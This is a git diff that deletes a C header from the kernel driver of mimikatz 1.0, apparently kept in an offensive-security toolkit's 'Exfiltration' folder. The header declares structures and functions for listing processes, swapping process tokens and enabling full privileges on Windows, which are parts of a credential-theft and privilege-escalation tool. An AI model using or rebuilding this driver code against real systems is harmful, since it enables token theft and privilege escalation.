diff options
Diffstat (limited to 'Exfiltration/mimikatz-1.0/driver/processes.h')
| -rw-r--r-- | Exfiltration/mimikatz-1.0/driver/processes.h | 33 |
1 files changed, 0 insertions, 33 deletions
diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h deleted file mode 100644 index ae99825..0000000 --- a/Exfiltration/mimikatz-1.0/driver/processes.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once -#include <ntifs.h> -#include "k_types.h" - -#define INDEX_EPROCESS_NEXT 0 -#define INDEX_EPROCESS_FLAGS2 1 -#define INDEX_TOKEN_PRIVS 2 -#define MAX_EPROCESS_LEN 3 - -#define TOKEN_FROZEN_MASK 0x00008000 - -typedef struct _KIWI_NT6_PRIVILEGES -{ - UCHAR Present[8]; - UCHAR Enabled[8]; - UCHAR EnabledByDefault[8]; -} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; - -typedef enum _KIWI_EPROCESS_ACTION -{ - ListProcesses, - ExchangeToken, - FullPrivilegeNT6 -} KIWI_EPROCESS_ACTION; - -extern char* PsGetProcessImageFileName(PEPROCESS monProcess); -extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); - -NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
\ No newline at end of file |